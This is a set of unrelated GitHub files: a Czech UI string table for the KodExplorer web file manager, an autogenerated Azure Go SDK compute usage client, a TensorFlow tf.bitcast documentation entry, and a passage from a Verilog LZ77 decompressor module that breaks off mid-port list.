"php_env_check" => "Provozní prostředí monitoring:",
"php_env_error" => "Prostředí Chyba:",
"php_env_error_ignore" => "ignorovat",
"php_env_error_version" => "PHP verze nemůže být nižší než 5,0",
"php_env_error_iconv" => "neotevřené iconv",
"php_env_error_mb_string" => "neotevřené mb_string",
"php_env_error_file" => "neotevřené file_get_contents",
"php_env_error_path" => "nelze zapisovat",
"php_env_error_list_dir" => "Webový server otevře výpis adresáře funkci bezpečnostních důvodů tuto funkci zakázat!<a href=\"https://www.google.com.hk/#newwindow=1&safe=strict&q=web+server+turn+off+directory+listing\" target=\"blank\">jak?</a>",
"php_env_error_gd" => "PHP GD knihovna by měla být otevřená, jinak kód, použijte miniaturu nebude správně fungovat",
"install_login" => "Můžete použít následující přihlašovací účet",
"install_enter" => "systém",
"install_user_default" => "Administrátor: {0} / (dole nastavit heslo) <br/> Průměrný uživatel: {1} <br/> Uživatelé hodnocení: {2}",
"login_root_password" => "Nastavit heslo správce",
"login_root_password_tips" => "Nastavit heslo správce!",
"forget_password" => "Zapomenuté heslo",
"forget_password_tips" => "Zapomněli heslo správce: <br/> Prosím přihlašte serveru smazat <b>./data/system/install.lock</b> resetovat; <br/><br/> Non-správce Zapomněli jste heslo: <br/> Obraťte se na správce resetovat!",
"copyright_desc" => "Kodexplorer je vysoce uznávaný systém pro správu dokumentů web, můžete jej použít pro vnitřní správu dokumentů nebo sdílená, lze použít také na serveru pro správu webu, nahradí FTP, i když webIDE přímo on-line rozvoje. Můžete také naprogramovat druhý rozvoje integrovat toto do vašich stávajících systémů.",
"copyright_contact" => "Povolit nebo přizpůsobené, obraťte se na QQ: <a href=\"http://wpa.qq.com/msgrd?v=3&uin=3232048103&site=qq&menu=yes\" target=\"_blank\">3232048103</a> <a href=\"javascript:core.openWindow('http://kalcaddle.com/qa.html');\">problém zpětnou vazbu</a>",
"copyright_info" => "Copyright © <a href=\"http://kalcaddle.com/\" target=\"_blank\">kalcaddle.com</a> All rights reserved.",
"copyright_pre" => "Powered by KodExplorer",
"kod_name" => "KodExplorer",
"kod_name_desc" => "Mango cloud • Explorer",
"kod_power_by" => " - Powered by KodExplorer",
"kod_name_copyright" => "Mango cloud • Explorer",
"login" => "Přihlásit",
"guest_login" => "Sign",
"username" => "Uživatelské jméno",
"password" => "heslo",
"login_code" => "kódy",
"need_check_code" => "Vstup autentizační kód open",
"login_rember_password" => "Zapamatovat heslo",
"us" => "kalcaddle.com",
"login_not_null" => "Uživatelské jméno a heslo nemůže být prázdný!",
"code_error" => "chybové kódy",
"password_error" => "Uživatelské jméno nebo heslo není správné!",
"password_not_null" => "Heslo nemůže být prázdný!",
"old_password_error" => "Staré heslo je špatně!",
"permission" => "Povolení!",
"permission_edit" => "upravit oprávnění",
"no_permission" => "Administrátor zablokoval tuto výsadu!",
"no_permission_ext" => "Administrátor zakázal tento typ oprávnění k souborům",
"dialog_min" => "minimalizovat",
"dialog_min_all" => "minimalizovat všechny",
"dialog_display_all" => "Zobrazuje všechna okna",
"dialog_close_all" => "Zavřít vše",
"open" => "otevřeno",
"others" => "ostatní",
"open_with" => "otevřeno",
"close" => "zavřít",
"close_all" => "Zavřít vše",
"close_left" => "Zavřete kartu levý",
"close_right" => "Zavřít karty napravo",
"close_others" => "Close Other",
"loading" => "Provoz ...",
"warning" => "výstraha",
"getting" => "Získejte ...",
"sending" => "Přenos dat ...",
"data_error" => "Data Chyba!",
"get_success" => "Získat úspěch!",
"save_success" => "Úspěšně uložen!",
"success" => "úspěšná operace",
"error" => "operace se nezdařila",
"error_repeat" => "Operace se nezdařila, název již existuje!",
"system_error" => "Systémová chyba",
"name" => "název",
"type" => "typ",
"contain" => "obsahovat",
"address" => "umístění",
"size" => "velikost",
"byte" => "byte",
"path" => "cesta",
"action" => "provozní",
"create_time" => "vytvořil",
"modify_time" => "modifikovaná",
"last_time" => "Poslední návštěva",
"sort_type" => "třídit podle",
"time_type" => "Y/m/d H:i:s",
"time_type_info" => "Y/m/d H:i:s",
"public_path" => "veřejný adresář",
"system_path_not_change" => "Adresář systému, nemůže být modifikován",
"file" => "soubor",
"folder" => "složka",
"copy" => "kopie",
"past" => "hůl",
"clone" => "Je možné vytvořit kopii",
"cute" => "stříhat",
"cute_to" => "Přesunout do ...",
"copy_to" => "Kopírovat do ...",
"remove" => "vymazat",
"remove_force" => "zcela odstranit",
"info" => "vlastnost",
"list_type" => "pohled",
"list_icon" => "ikona array",
"list_list" => "uspořádání seznamu",
"list_list_split" => "režim sloupec",
"sort_up" => "přírůstek",
"sort_down" => "klesající",
"order_type" => "třídit podle",
"order_desc" => "klesající",
"order_asc" => "stoupající",
"rename" => "přejmenovat",
"add_to_fav" => "Přidat k oblíbeným",
"search_in_path" => "Vyhledávání složky",
"add_to_play" => "Přidat do playlistu",
"manage_fav" => "Správa oblíbených",
"refresh_tree" => "Aktualizovat adresářový strom",
"manage_folder" => "Directory management",
"close_menu" => "Zavřít výběr",
"zip" => "komprese zip",
"unzip" => "zip extrahovat ...",
"unzip_folder" => "Rozbalení souborů do složky",
"unzip_this" => "Rozbalit do proudu",
"unzip_to" => "Chcete-li extrahovat",
"clipboard" => "Výhled Schránka",
"full_screen" => "Full Screen",
"folder_info_item" => "předměty",
"folder_info_item_select" => "vybraný",
"file_load_all" => "Poklepáním načíst všechny ......",
"tips" => "prompt",
"ziping" => "Zip ...",
"unziping" => "Rozbalování ...",
"moving" => "Mobilní provoz ...",
"remove_title" => "smazat Potvrzení",
"remove_info" => "Potvrdit smazat vybranou položku?",
"name_isexists" => "Špatné jméno již existuje!",
"install" => "instalovat",
"width" => "šíře",
"height" => "vysoký",
"app" => "přihláška",
"app_store" => "App Store",
"app_create" => "vytvoření aplikace",
"app_edit" => "Upravit aplikace",
"app_group_all" => "kompletní",
"app_group_game" => "hra",
"app_group_tools" => "nářadí",
"app_group_reader" => "číst",
"app_group_movie" => "televize",
"app_group_music" => "hudba",
"app_group_life" => "život",
"app_group_others" => "ostatní",
"app_desc" => "popis",
"app_icon" => "ikona aplikace",
"app_icon_show" => "url adresy nebo adresář",
"app_group" => "Application Packet",
"app_type" => "typ",
"app_type_url" => "odkaz",
"app_type_code" => "js prodloužení",
"app_display" => "exteriér",
"app_display_border" => "Bez hranic (tedy vybrat bez okrajů)",
"app_display_size" => "Změna velikosti (Check být přizpůsobeny)",
"app_size" => "velikost",
"app_url" => "Link adresa",
"app_code" => "js kód",
"edit" => "editovat",
"edit_can_not" => "Nejedná se o textový soubor",
"edit_too_big" => "Soubor je příliš velký, nemůže být větší než 40M",
"open_default" => "Výchozí Otevřená",
"open_ie" => "Otevřete prohlížeč",
"refresh" => "osvěžit",
"refresh_all" => "Vynutit obnovení",
"newfile" => "nový soubor",
"newfile_save_as" => "uložit do",
"newfolder" => "Nová složka",
"newothers" => "nový Ostatní",
"path_loading" => "Loading ...",
"go" => "Chodit!",
"go_up" => "horní vrstva",
"history_next" => "vpřed",
"history_back" => "ustoupit",
"address_in_edit" => "Klikněte pro vstup do režimu úprav",
"double_click_rename" => "Poklepáním na přejmenování",
"double_click_open" => "Dvojitým kliknutím otevřete",
"path_null" => "Složka je prázdná, můžete přetáhnout upload souborů",
"file_size_title" => "Velikost ikon",
"file_size_small_super" => "Ultra-small",
"file_size_small" => "malé ikony",
"file_size_default" => "ikony",
"file_size_big" => "velké ikony",
"file_size_big_super" => "Velký Icon",
"upload" => "Nahrát",
"upload_ready" => "Čeká se na nahrání",
"upload_success" => "Nahrávání úspěšné",
"upload_path_current" => "Přepněte do aktuálního adresáře",
"upload_select" => "Vyberte Soubor",
"upload_max_size" => "Maximální povolená",
"upload_size_info" => "Chcete-li konfigurovat více, modifikovat php.ini maximální povolenou upload. Vyberete-li soubor větší než tato konfigurace automaticky vyfiltrovat.",
"upload_error" => "Nahrávání selhalo",
"upload_muti" => "nahrávání více souborů",
"upload_drag" => "Drag and drop nahrávání",
"upload_drag_tips" => "Uvolněte nahrát!",
"path_not_allow" => "Název souboru není povoleno",
"download" => "Ke stažení",
"download_address" => "Ke stažení",
"download_ready" => "Budou staženy",
"download_success" => "Ke stažení úspěch!",
"download_error" => "Stažení se nezdařilo!",
"download_error_create" => "Write chyba!",
"download_error_exists" => "Vzdálený soubor neexistuje!",
"upload_error_null" => "Žádný soubor!",
"upload_error_big" => "Velikost souboru překračuje limit serveru",
"upload_error_move" => "Nepodařilo se přesunout soubor!",
"upload_error_exists" => "Soubor již existuje",
"upload_local" => "místní uploadu",
"download_from_server" => "Remote Download",
"save_path" => "Save Path",
"upload_select_muti" => "Množina volitelným upload",
"search" => "vyhledávání",
"searching" => "Hledám ...",
"search_result" => "Výsledky hledání",
"seach_result_too_more" => "Příliš mnoho výsledků vyhledávání, doporučuje se pro adresář nebo slova",
"search_null" => "Žádné výsledky!",
"search_uplow" => "velká a malá písmena",
"search_content" => "Obsah vyhledávání souborů",
"search_info" => "Zadejte hledaný výraz a hledat cesty!",
"search_ext_tips" => "Tím | odděleny, například PHP | js | css<br/>nevyplňujte hledání výchozí textový soubor",
"file_type" => "Typ souboru",
"goto" => "Přejít na",
"server_dwonload_desc" => "Úkol byl přidán do seznamu stahování",
"parent_permission" => "Mateřské oprávnění adresáře",
"root_path" => "My Documents",
"lib" => "skladiště",
"fav" => "Oblíbené",
"desktop" => "Desktop",
"browser" => "prohlížeč",
"my_computer" => "My Computer",
"recycle" => "odpadky",
"my_document" => "My Documents",
"my_picture" => "Moje fotky",
"my_music" => "My Music",
"my_movie" => "Moje video",
"my_download" => "Moje položky ke stažení",
"ui_desktop" => "Desktop",
"ui_explorer" => "Správa souborů",
"ui_editor" => "editor",
"adminer" => "Adminer",
"ui_project_home" => "projekt Home",
"ui_login" => "Přihlásit",
"ui_logout" => "přestat",
"setting" => "Nastavení systému",
"setting_title" => "možnosti",
"setting_user" => "osobní Center",
"setting_password" => "změna hesla",
"setting_password_old" => "Staré heslo",
"setting_password_new" => "revidován",
"setting_language" => "Nastavení jazyka",
"setting_member" => "Správa uživatelů",
"setting_group" => "Správa skupin uživatelů",
"setting_group_add" => "Add User Group",
"setting_group_edit" => "Upravit uživatelské skupiny",
"setting_theme" => "Nastavení motivu",
"setting_wall" => "Výměna tapet",
"setting_wall_diy" => "Custom tapety:",
"setting_wall_info" => "Obrázek url adresa, místní obrázky mohou mít pravdu, aby si prohlížeč pro otevření obrázku",
"setting_fav" => "Oblíbené manažer",
"setting_player" => "přehrávač",
"setting_player_music" => "Nastavení přehrávače hudby",
"setting_player_movie" => "Video Nastavení přehrávače",
"setting_help" => "Používání nápovědy",
"setting_about" => "o prací",
"setting_success" => "Úprava nabyla účinnosti!",
"can_not_repeat" => "Není dovoleno opakovat",
"absolute_path" => "absolutní adresa",
"group" => "Skupiny uživatelů",
"data_not_full" => "Data předloženy neúplné!",
"default_user_can_not_do" => "Výchozí uživatel nemůže fungovat",
"default_group_can_not_do" => "Výchozí skupiny uživatelů nemůže fungovat",
"username_can_not_null" => "Uživatelské jméno nemůže být prázdný!",
"groupname_can_not_null" => "uživatelské jméno skupina nemůže být prázdná!",
"groupdesc_can_not_null" => "User Group Popis nemůže být prázdný!",
"group_move_user_error" => "Uživatelská skupina uživatelů Přesun se nezdařil",
"group_already_remove" => "Uživatel sestava byla smazána",
"group_not_exists" => "Tato skupina uživatelů neexistuje",
"member_add" => "Přidat uživatele",
"password_null_not_update" => "Říkali, že nezměnili heslo není vyplněn",
"if_save_file" => "Soubor nebyl uložen, chcete ušetřit?",
"if_remove" => "potvrdit smazání",
"member_remove_tips" => "Po odebrání uživatel adresář bude vymazán",
"group_remove_tips" => "Po odebrání uživatel skupina uživatelů se nemůže přihlásit<br/>(třeba znovu nastavit uživatelské skupiny)",
"group_name" => "uživatelské jméno skupiny",
"group_name_tips" => "Doporučení český název, nemůže být opakován",
"group_desc" => "Display Name",
"group_desc_tips" => "Název skupiny Popis",
"group_role_ext" => "omezení Extension",
"group_role_ext_tips" => "S multiplex | odděleny",
"group_role_file" => "Správa souborů",
"group_role_upload" => "povolit nahrávání",
"group_role_user" => "uživatelská data",
"group_role_group" => "Správa skupin uživatelů",
"group_role_member" => "Správa uživatelů",
"group_role_mkfile" => "nový soubor",
"group_role_mkdir" => "Nová složka",
"group_role_pathrname" => "přejmenovat",
"group_role_pathdelete" => "odstranění souboru",
"group_role_pathinfo" => "Vlastnosti souboru",
"group_role_pathmove" => "Move (copy / cut / paste / drag provoz)",
"group_role_zip" => "komprese zip",
"group_role_unzip" => "zip unzip",
"group_role_search" => "vyhledávání",
"group_role_filesave" => "Uložte soubor upravovat",
"group_role_can_upload" => "Nahrávání a stahování",
"group_role_download" => "Remote Download",
"group_role_passowrd" => "změna hesla",
"group_role_config" => "konfiguračních dat",
"group_role_fav" => "Oblíbené operace (přidat / editovat / smazat)",
"action_list" => "Zobrazit seznam",
"action_add" => "přidat",
"action_edit" => "editovat",
"action_del" => "vymazat",
"group_role_ext_warning" => "Nahrávání neumožňuje takové soubory,<br/>Rename (přejmenována na určenou příponou),<br/>editovat zachránit, vzdálený download, extrakt",
"group_tips" => "<li> 1. Název skupiny uživatelů nelze duplikovat, měnit původní název skupiny patří k restrukturalizaci uživatele jsou automaticky spojena </li><li> 2. Prodloužení bezpečnostní omezení vztahů systém, ujistěte se, že opatrní <i>(je-li nový php ve webovém adresáři, to znamená, že uživatel změnit přístup k programu na tuto neexistující)</i> </li><li> 3. správa uživatelů, řízení skupin orgánu; přístup k zobrazení a oprávnění CRUD jsou vázány, bude program automaticky spojovat </li><li> 4. Nastavte oprávnění skupiny lze přidat skupinu oprávnění, následné oprávnění nejsou zděděné <i>(toto privilegium je ekvivalentní k nejvyššímu orgánu)</i> </li>",
"not_null" => "Povinné pole nesmí být prázdné!",
"picture_can_not_null" => "Fotografie nemůže být prázdný!",
"rname_success" => "Přejmenovat úspěch!",
"please_inpute_search_words" => "Zadejte řetězec pro vyhledávání",
"remove_success" => "byla úspěšně odstraněna!",
"remove_fali" => "Odstranit selhalo!",
"clipboard_null" => "Schránka je prázdná!",
"create_success" => "Nový úspěch!",
"create_error" => "New selže, zkontrolujte oprávnění adresáře!",
"copy_success" => "[Kopie] - pokrývat schránky úspěch!",
"cute_success" => "[Střih] - pokrývat schránky úspěch!",
"clipboard_state" => "Schránka status:",
"no_permission_write_all" => "Soubor nebo adresář nelze zapisovat",
"no_permission_write_file" => "Soubor nemá oprávnění k zápisu",
"no_permission_read_all" => "Soubor nebo adresář nemá oprávnění čtení",
"copy_not_exists" => "Zdroj neexistuje",
"current_has_parent" => "Cílová složka je podsložkou složky zdrojové!",
"past_success" => "<b>operace pasta je dokončena</b>",
"cute_past_success" => "<b>střihová operace dokončena</b>(zdrojový soubor odstraněn, schránky prázdný)",
"zip_success" => "komprese dokončena",
"not_zip" => "není archiv",
"zip_null" => "Není vybrán soubor nebo adresář",
"unzip_success" => "rozbalit kompletní",
"gotoline" => "Přejít na řádek",
"path_is_current" => "Cesta a aktuální cesta k otevření totéž!",
"path_exists" => "Jméno již existuje!",
"undo" => "odvolání",
"redo" => "proti zrušení",
"preview" => "náhled",
"wordwrap" => "Wrap",
"show_gutter" => "Zobrazit čísla řádků",
"char_all_display" => "Ukázat neviditelné znaky",
"auto_complete" => "automaticky vyzve",
"function_list" => "Seznam funkcí",
"code_theme" => "kódování Style",
"font_size" => "Velikost písma",
"button_ok" => "určovat",
"button_submit" => "předložit",
"button_set" => "založit",
"button_cancel" => "zrušený",
"button_edit" => "editovat",
"button_save" => "Uložit",
"button_save_all" => "Uložit vše",
"button_not_save" => "Neukládat",
"button_add" => "přidat",
"button_back_add" => "Zpět k přidání",
"button_del" => "vymazat",
"button_save_edit" => "uložit změny",
"button_save_submit" => "Uložení Odeslat",
"button_more" => "více",
"button_select_all" => "Vybrat vše / Invertovat výběr"
);
|
{
"pile_set_name": "Github"
}
|
package compute
// Copyright (c) Microsoft and contributors. All rights reserved.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
//
// See the License for the specific language governing permissions and
// limitations under the License.
//
// Code generated by Microsoft (R) AutoRest Code Generator.
// Changes may cause incorrect behavior and will be lost if the code is regenerated.
import (
"context"
"github.com/Azure/go-autorest/autorest"
"github.com/Azure/go-autorest/autorest/azure"
"github.com/Azure/go-autorest/autorest/validation"
"github.com/Azure/go-autorest/tracing"
"net/http"
)
// UsageClient is the compute Client
type UsageClient struct {
BaseClient
}
// NewUsageClient creates an instance of the UsageClient client.
func NewUsageClient(subscriptionID string) UsageClient {
return NewUsageClientWithBaseURI(DefaultBaseURI, subscriptionID)
}
// NewUsageClientWithBaseURI creates an instance of the UsageClient client using a custom endpoint. Use this when
// interacting with an Azure cloud that uses a non-standard base URI (sovereign clouds, Azure stack).
func NewUsageClientWithBaseURI(baseURI string, subscriptionID string) UsageClient {
return UsageClient{NewWithBaseURI(baseURI, subscriptionID)}
}
// List gets, for the specified location, the current compute resource usage information as well as the limits for
// compute resources under the subscription.
// Parameters:
// location - the location for which resource usage is queried.
func (client UsageClient) List(ctx context.Context, location string) (result ListUsagesResultPage, err error) {
if tracing.IsEnabled() {
ctx = tracing.StartSpan(ctx, fqdn+"/UsageClient.List")
defer func() {
sc := -1
if result.lur.Response.Response != nil {
sc = result.lur.Response.Response.StatusCode
}
tracing.EndSpan(ctx, sc, err)
}()
}
if err := validation.Validate([]validation.Validation{
{TargetValue: location,
Constraints: []validation.Constraint{{Target: "location", Name: validation.Pattern, Rule: `^[-\w\._]+$`, Chain: nil}}}}); err != nil {
return result, validation.NewError("compute.UsageClient", "List", err.Error())
}
result.fn = client.listNextResults
req, err := client.ListPreparer(ctx, location)
if err != nil {
err = autorest.NewErrorWithError(err, "compute.UsageClient", "List", nil, "Failure preparing request")
return
}
resp, err := client.ListSender(req)
if err != nil {
result.lur.Response = autorest.Response{Response: resp}
err = autorest.NewErrorWithError(err, "compute.UsageClient", "List", resp, "Failure sending request")
return
}
result.lur, err = client.ListResponder(resp)
if err != nil {
err = autorest.NewErrorWithError(err, "compute.UsageClient", "List", resp, "Failure responding to request")
}
return
}
// ListPreparer prepares the List request.
func (client UsageClient) ListPreparer(ctx context.Context, location string) (*http.Request, error) {
pathParameters := map[string]interface{}{
"location": autorest.Encode("path", location),
"subscriptionId": autorest.Encode("path", client.SubscriptionID),
}
const APIVersion = "2019-12-01"
queryParameters := map[string]interface{}{
"api-version": APIVersion,
}
preparer := autorest.CreatePreparer(
autorest.AsGet(),
autorest.WithBaseURL(client.BaseURI),
autorest.WithPathParameters("/subscriptions/{subscriptionId}/providers/Microsoft.Compute/locations/{location}/usages", pathParameters),
autorest.WithQueryParameters(queryParameters))
return preparer.Prepare((&http.Request{}).WithContext(ctx))
}
// ListSender sends the List request. The method will close the
// http.Response Body if it receives an error.
func (client UsageClient) ListSender(req *http.Request) (*http.Response, error) {
return client.Send(req, azure.DoRetryWithRegistration(client.Client))
}
// ListResponder handles the response to the List request. The method always
// closes the http.Response Body.
func (client UsageClient) ListResponder(resp *http.Response) (result ListUsagesResult, err error) {
err = autorest.Respond(
resp,
client.ByInspecting(),
azure.WithErrorUnlessStatusCode(http.StatusOK),
autorest.ByUnmarshallingJSON(&result),
autorest.ByClosing())
result.Response = autorest.Response{Response: resp}
return
}
// listNextResults retrieves the next set of results, if any.
func (client UsageClient) listNextResults(ctx context.Context, lastResults ListUsagesResult) (result ListUsagesResult, err error) {
req, err := lastResults.listUsagesResultPreparer(ctx)
if err != nil {
return result, autorest.NewErrorWithError(err, "compute.UsageClient", "listNextResults", nil, "Failure preparing next results request")
}
if req == nil {
return
}
resp, err := client.ListSender(req)
if err != nil {
result.Response = autorest.Response{Response: resp}
return result, autorest.NewErrorWithError(err, "compute.UsageClient", "listNextResults", resp, "Failure sending next results request")
}
result, err = client.ListResponder(resp)
if err != nil {
err = autorest.NewErrorWithError(err, "compute.UsageClient", "listNextResults", resp, "Failure responding to next results request")
}
return
}
// ListComplete enumerates all values, automatically crossing page boundaries as required.
func (client UsageClient) ListComplete(ctx context.Context, location string) (result ListUsagesResultIterator, err error) {
if tracing.IsEnabled() {
ctx = tracing.StartSpan(ctx, fqdn+"/UsageClient.List")
defer func() {
sc := -1
if result.Response().Response.Response != nil {
sc = result.page.Response().Response.Response.StatusCode
}
tracing.EndSpan(ctx, sc, err)
}()
}
result.page, err = client.List(ctx, location)
return
}
|
{
"pile_set_name": "Github"
}
|
### `tf.bitcast(input, type, name=None)` {#bitcast}
Bitcasts a tensor from one type to another without copying data.
Given a tensor `input`, this operation returns a tensor that has the same buffer
data as `input` with datatype `type`.
If the input datatype `T` is larger than the output datatype `type` then the
shape changes from [...] to [..., sizeof(`T`)/sizeof(`type`)].
If `T` is smaller than `type`, the operator requires that the rightmost
dimension be equal to sizeof(`type`)/sizeof(`T`). The shape then goes from
[..., sizeof(`type`)/sizeof(`T`)] to [...].
##### Args:
* <b>`input`</b>: A `Tensor`. Must be one of the following types: `float32`, `float64`, `int64`, `int32`, `uint8`, `uint16`, `int16`, `int8`, `complex64`, `complex128`, `qint8`, `quint8`, `qint32`, `half`.
* <b>`type`</b>: A `tf.DType` from: `tf.float32, tf.float64, tf.int64, tf.int32, tf.uint8, tf.uint16, tf.int16, tf.int8, tf.complex64, tf.complex128, tf.qint8, tf.quint8, tf.qint32, tf.half`.
* <b>`name`</b>: A name for the operation (optional).
##### Returns:
A `Tensor` of type `type`.
|
{
"pile_set_name": "Github"
}
|
/*************************************************************************
*
* Copyright © Microsoft Corporation. All rights reserved.
* Copyright © Broadcom Inc. All rights reserved.
* Licensed under the MIT License.
*
*************************************************************************/
`include "ccx_std.vh"
`include "cr_xp10_decomp.vh"
module cr_xp10_decomp_lz77 (
bimc_odat, bimc_osync, lz_fhp_prefix_hdr_ready,
lz_fhp_pre_prefix_ready, lz_fhp_usr_prefix_ready,
lz_fhp_dbg_data_ready, lz_mtf_dp_ready, lz_be_dp_valid,
lz_be_dp_bus, lz_bytes_decomp, lz_hb_bytes, lz_hb_head_ptr,
lz_hb_tail_ptr, lz_local_bytes, xp10_decomp_lz77d_stat_events,
lz77_hb_ro_uncorrectable_ecc_error_a,
lz77_hb_ro_uncorrectable_ecc_error_b,
lz77_pfx0_ro_uncorrectable_ecc_error,
lz77_pfx1_ro_uncorrectable_ecc_error,
lz77_pfx2_ro_uncorrectable_ecc_error,
clk, rst_n, ovstb, lvm, mlvm, bimc_idat, bimc_isync, bimc_rst_n,
fhp_lz_prefix_hdr_valid, fhp_lz_prefix_hdr_bus,
fhp_lz_prefix_valid, fhp_lz_prefix_dp_bus, fhp_lz_dbg_data_valid,
fhp_lz_dbg_data_bus, mtf_lz_dp_valid, mtf_lz_dp_bus,
be_lz_dp_ready, sw_LZ_BYPASS_CONFIG
);
import crPKG::*;
import cr_xp10_decomp_regsPKG::*;
import cr_xp10_decompPKG::*;
input clk;
input rst_n;
input ovstb;
input lvm;
input mlvm;
input bimc_idat;
input bimc_isync;
input bimc_rst_n;
output logic bimc_odat;
output logic bimc_osync;
input fhp_lz_prefix_hdr_valid;
input fhp_lz_prefix_hdr_bus_t fhp_lz_prefix_hdr_bus;
output lz_fhp_prefix_hdr_ready;
input fhp_lz_prefix_valid;
input fhp_lz_prefix_dp_bus_t fhp_lz_prefix_dp_bus;
output logic lz_fhp_pre_prefix_ready;
output logic lz_fhp_usr_prefix_ready;
input fhp_lz_dbg_data_valid;
input lz_symbol_bus_t fhp_lz_dbg_data_bus;
output lz_fhp_dbg_data_ready;
input mtf_lz_dp_valid;
input lz_symbol_bus_t mtf_lz_dp_bus;
output lz_mtf_dp_ready;
output lz_be_dp_valid;
output lz_be_dp_bus_t lz_be_dp_bus;
input be_lz_dp_ready;
input sw_LZ_BYPASS_CONFIG;
output logic [16:0] lz_bytes_decomp;
output logic [16:0] lz_hb_bytes;
output logic [11:0] lz_hb_head_ptr;
output logic [11:0] lz_hb_tail_ptr;
output logic [16:0] lz_local_bytes;
output [LZ77D_STAT_EVENTS_LIMIT:LZ77D_STAT_EVENTS_BASE] xp10_decomp_lz77d_stat_events;
output logic lz77_hb_ro_uncorrectable_ecc_error_a;
output logic lz77_hb_ro_uncorrectable_ecc_error_b;
output logic lz77_pfx0_ro_uncorrectable_ecc_error;
output logic lz77_pfx1_ro_uncorrectable_ecc_error;
output logic lz77_pfx2_ro_uncorrectable_ecc_error;
logic [127:0] ag_bm_hb_data;
logic ag_ep_hb_wr;
logic ag_ep_head_moved;
logic ag_hb_eof;
logic [11:0] ag_hb_raddr;
logic ag_hb_rd;
logic [11:0] ag_hb_waddr;
logic [127:0] ag_hb_wdata;
logic ag_hb_wr;
logic ag_pl_eof;
logic [2:0] bm_do_even_bytes_valid;
logic [1:0] bm_do_even_type;
logic bm_do_even_valid;
logic [63:0] bm_do_even_word;
logic [2:0] bm_do_odd_bytes_valid;
logic [1:0] bm_do_odd_type;
logic bm_do_odd_valid;
logic [63:0] bm_do_odd_word;
logic bm_ep_copy_done;
logic bm_ep_pause;
logic [127:0] do_ag_hb_wdata;
logic do_ag_hb_wr;
logic do_bm_pause;
logic ep_ag_eof;
logic ep_ag_hb_1st_rd;
logic [11:0] ep_ag_hb_num_words;
logic ep_ag_hb_rd;
logic [15:0] ep_bm_copy_length;
logic [4:0] ep_bm_copy_offset;
logic ep_bm_copy_valid;
logic ep_bm_eob;
logic ep_bm_eof;
logic [31:0] ep_bm_eof_err_code;
logic [3:0] ep_bm_from_offset;
logic [31:0] ep_bm_lit_data;
logic ep_bm_lit_valid;
logic [5:0] ep_bm_lwl;
logic ep_bm_lwrd_valid;
logic [1:0] ep_bm_num_lit;
logic ep_bm_ptr_valid;
logic [3:0] ep_bm_to_offset;
logic ep_if_entry_done;
logic ep_if_load_trace_bit;
logic ep_if_trace_bit;
logic [127:0] hb_ag_rdata;
sym_t if_ep_sym;
logic if_ep_sym_valid;
logic pl_ag_load_tail;
logic [12:0] pl_ag_tail_ptr;
logic [16:0] pl_ep_prefix_cnt;
logic pl_ep_prefix_load;
logic pl_ep_trace_bit;
logic pl_hb_pfx0_in_use;
logic [5:0] pl_hb_pfx0_pld_waddr;
logic [127:0] pl_hb_pfx0_pld_wdata;
logic pl_hb_pfx0_pld_wr;
logic pl_hb_pfx1_in_use;
logic [5:0] pl_hb_pfx1_pld_waddr;
logic [127:0] pl_hb_pfx1_pld_wdata;
logic pl_hb_pfx1_pld_wr;
logic pl_hb_pfx2_in_use;
logic [5:0] pl_hb_pfx2_pld_waddr;
logic [127:0] pl_hb_pfx2_pld_wdata;
logic pl_hb_pfx2_pld_wr;
logic [11:0] pl_hb_usr_waddr;
logic [127:0] pl_hb_usr_wdata;
logic pl_hb_usr_wr;
lz_symbol_bus_t lz_dp_bus;
logic lz_dp_valid;
assign lz_fhp_dbg_data_ready = lz_mtf_dp_ready;
assign lz_dp_bus = (fhp_lz_dbg_data_valid) ? fhp_lz_dbg_data_bus : mtf_lz_dp_bus;
assign lz_dp_valid = fhp_lz_dbg_data_valid ||
(mtf_lz_dp_valid && lz_mtf_dp_ready);
cr_xp10_decomp_lz77_if if_inst (
.lz_mtf_dp_ready (lz_mtf_dp_ready),
.if_ep_sym (if_ep_sym),
.if_ep_sym_valid (if_ep_sym_valid),
.lane_lit_stb (xp10_decomp_lz77d_stat_events[crPKG::LZ77D_LANE_1_LITERALS_TOTAL +: 4]),
.ptr_stb (xp10_decomp_lz77d_stat_events[crPKG::LZ77D_PTRS_TOTAL]),
.frm_in_stb (xp10_decomp_lz77d_stat_events[crPKG::LZ77D_FRM_IN_TOTAL]),
.frm_out_stb (xp10_decomp_lz77d_stat_events[crPKG::LZ77D_FRM_OUT_TOTAL]),
.lz77_stall_stb (xp10_decomp_lz77d_stat_events[crPKG::LZ77D_STALL_TOTAL]),
.clk (clk),
.rst_n (rst_n),
.mtf_lz_dp_bus (lz_dp_bus),
.mtf_lz_dp_valid (lz_dp_valid),
.ep_if_entry_done (ep_if_entry_done),
.sw_LZ_BYPASS_CONFIG (sw_LZ_BYPASS_CONFIG),
.ep_if_load_trace_bit(ep_if_load_trace_bit),
.ep_if_trace_bit (ep_if_trace_bit));
cr_xp10_decomp_lz77_ep ep_inst (
.ep_ag_hb_rd (ep_ag_hb_rd),
.ep_ag_hb_num_words (ep_ag_hb_num_words[11:0]),
.ep_ag_hb_1st_rd (ep_ag_hb_1st_rd),
.ep_bm_lit_valid (ep_bm_lit_valid),
.ep_bm_num_lit (ep_bm_num_lit[1:0]),
.ep_bm_lit_data (ep_bm_lit_data[31:0]),
.ep_bm_ptr_valid (ep_bm_ptr_valid),
.ep_bm_lwrd_valid (ep_bm_lwrd_valid),
.ep_bm_from_offset (ep_bm_from_offset[3:0]),
.ep_bm_to_offset (ep_bm_to_offset[3:0]),
.ep_bm_lwl (ep_bm_lwl[5:0]),
.ep_bm_copy_valid (ep_bm_copy_valid),
.ep_bm_copy_offset (ep_bm_copy_offset[4:0]),
.ep_bm_copy_length (ep_bm_copy_length[15:0]),
.ep_bm_eof (ep_bm_eof),
.ep_bm_eof_err_code (ep_bm_eof_err_code[31:0]),
.ep_bm_eob (ep_bm_eob),
.ep_if_entry_done (ep_if_entry_done),
.ep_ag_eof (ep_ag_eof),
.ep_if_load_trace_bit(ep_if_load_trace_bit),
.ep_if_trace_bit (ep_if_trace_bit),
.ptr_256_stb (xp10_decomp_lz77d_stat_events[crPKG::LZ77D_PTR_LEN_256_TOTAL]),
